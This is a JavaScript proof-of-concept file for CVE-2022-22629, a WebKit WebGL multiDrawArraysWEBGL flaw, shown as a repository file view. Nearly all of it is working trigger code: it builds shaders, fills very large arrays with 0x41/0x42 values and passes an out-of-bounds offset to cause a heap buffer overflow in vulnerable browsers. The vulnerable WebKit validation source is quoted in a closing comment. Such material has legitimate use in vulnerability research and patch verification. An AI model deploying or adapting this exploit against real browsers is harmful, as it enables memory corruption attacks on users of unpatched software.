/
poc.js
130 lines (100 loc) · 3.8 KB
/
poc.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// CVE-2022-22629 PoC
const canvas = document.querySelector("#glCanvas");
// Initialize the GL context
document.body.appendChild(canvas);
const gl = canvas.getContext("webgl2");
gl.clearColor(0, 0, 0, 1);
// Only continue if WebGL2 is available and working
if (gl) {
console.log("webgl2 initialized");
}
var ext = gl.getExtension("WEBGL_multi_draw");
function build_link_program() {
var vsSource = `#version 300 es
#extension GL_ANGLE_multi_draw : require
layout (location=0) in vec4 position;
layout (location=1) in vec3 color;
out vec3 vColor;
out float sum;
void main() {
gl_Position = vec4(gl_DrawID, 0, 0, 1);
}`;
var fsSource = `#version 300 es
precision highp float;
in vec3 vColor;
out vec4 fragColor;
void main() {
fragColor = vec4(vColor, 1.0);
}`;
var vertexShader = gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vertexShader, vsSource);
gl.compileShader(vertexShader);
if (!gl.getShaderParameter(vertexShader, gl.COMPILE_STATUS)) {
console.log(gl.getShaderInfoLog(vertexShader));
}
var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fragmentShader, fsSource);
gl.compileShader(fragmentShader);
if (!gl.getShaderParameter(fragmentShader, gl.COMPILE_STATUS)) {
console.log(gl.getShaderInfoLog(fragmentShader));
}
var program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
console.log(gl.getProgramInfoLog(program));
}
return program;
}
var program = build_link_program();
if(program){
console.log("Program linked");
}
gl.useProgram(program);
// multiDrawArrays variant.
console.log("Calling the function multiDrawArraysWEBGL");
var size = 0x5F5E100;
let firstsList = new Int32Array(size);
firstsList.fill(0x41);
let countsList = new Int32Array(size);
countsList.fill(0x42);
var drawcount = size - 1;
var firstsOffset = drawcount; //Maximum offset in the patch allowed is size-drawcount. We can draw more than that in vulnerable commit causing buffer overflow.
var countsoffset = 0;
var temp = ext.multiDrawArraysWEBGL(
gl.TRIANGLES,
firstsList,
firstsOffset,
countsList,
countsoffset,
drawcount
);
gl.deleteProgram(program);
console.log("Program unlinked");
/*
// https://github.com/WebKit/WebKit/blob/03456a7a629de0ed610ee2914bb6a725a5e73cd9/Source/WebCore/html/canvas/WebGLMultiDraw.cpp#L131
bool WebGLMultiDraw::validateOffset(const char* functionName, const char* outOfBoundsDescription, GCGLsizei size, GCGLuint offset, GCGLsizei drawcount)
{
if (drawcount > size) {
m_context->synthesizeGLError(GraphicsContextGL::INVALID_OPERATION, functionName, "drawcount out of bounds");
return false;
}
if (offset >= static_cast<GCGLuint>(size)) {
m_context->synthesizeGLError(GraphicsContextGL::INVALID_OPERATION, functionName, outOfBoundsDescription);
return false;
}
return true;
}
void WebGLMultiDraw::multiDrawArraysWEBGL(GCGLenum mode, Int32List firstsList, GCGLuint firstsOffset, Int32List countsList, GCGLuint countsOffset, GCGLsizei drawcount)
{
if (!m_context || m_context->isContextLost())
return;
if (!validateDrawcount("multiDrawArraysWEBGL", drawcount)
|| !validateOffset("multiDrawArraysWEBGL", "firstsOffset out of bounds", firstsList.length(), firstsOffset, drawcount)
|| !validateOffset("multiDrawArraysWEBGL", "countsOffset out of bounds", countsList.length(), countsOffset, drawcount)) {
return;
}
m_context->graphicsContextGL()->multiDrawArraysANGLE(mode, makeSpanWithOffset(firstsList, firstsOffset), makeSpanWithOffset(countsList, countsOffset), drawcount);
}
*/